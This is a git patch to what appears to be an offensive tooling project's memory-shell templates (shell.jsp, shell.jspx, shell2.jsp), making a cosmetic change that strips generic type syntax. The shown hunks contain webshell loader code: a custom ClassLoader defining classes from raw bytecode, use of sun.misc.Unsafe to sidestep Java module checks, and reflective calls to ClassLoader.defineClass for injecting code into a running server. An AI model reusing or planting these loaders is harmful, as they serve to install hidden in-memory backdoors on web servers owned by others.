From 96764e2a5abb2ede23dc339d8dfb72a4548dba40 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 8 Feb 2026 18:40:20 +0800 Subject: [PATCH] refactor: rm jsp generic syntax --- packer/src/main/resources/memshell-party/shell.jsp | 2 +- packer/src/main/resources/memshell-party/shell.jspx | 2 +- packer/src/main/resources/memshell-party/shell2.jsp | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/packer/src/main/resources/memshell-party/shell.jsp b/packer/src/main/resources/memshell-party/shell.jsp index 9cb68578..6496f02d 100644 --- a/packer/src/main/resources/memshell-party/shell.jsp +++ b/packer/src/main/resources/memshell-party/shell.jsp @@ -4,7 +4,7 @@ super(classLoader); } - public Class defineClass(byte[] code) { + public Class defineClass(byte[] code) { return defineClass(null, code, 0, code.length); } } diff --git a/packer/src/main/resources/memshell-party/shell.jspx b/packer/src/main/resources/memshell-party/shell.jspx index 22baf1f2..a226f6c7 100644 --- a/packer/src/main/resources/memshell-party/shell.jspx +++ b/packer/src/main/resources/memshell-party/shell.jspx @@ -6,7 +6,7 @@ public ClassDefiner(ClassLoader classLoader) { super(classLoader); } - public Class defineClass(byte[] code) { + public Class defineClass(byte[] code) { return defineClass(null, code, 0, code.length); } } diff --git a/packer/src/main/resources/memshell-party/shell2.jsp b/packer/src/main/resources/memshell-party/shell2.jsp index 37b0a3ed..25e75c9d 100644 --- a/packer/src/main/resources/memshell-party/shell2.jsp +++ b/packer/src/main/resources/memshell-party/shell2.jsp @@ -4,7 +4,7 @@ long offset = 48; java.lang.reflect.Method getAndSetObjectM = null; try { - Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Class unsafeClass = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); unsafe = unsafeField.get(null); @@ -28,7 +28,7 @@ } java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defMethod.setAccessible(true); - Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); + Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); if (getAndSetObjectM != null) { getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule); }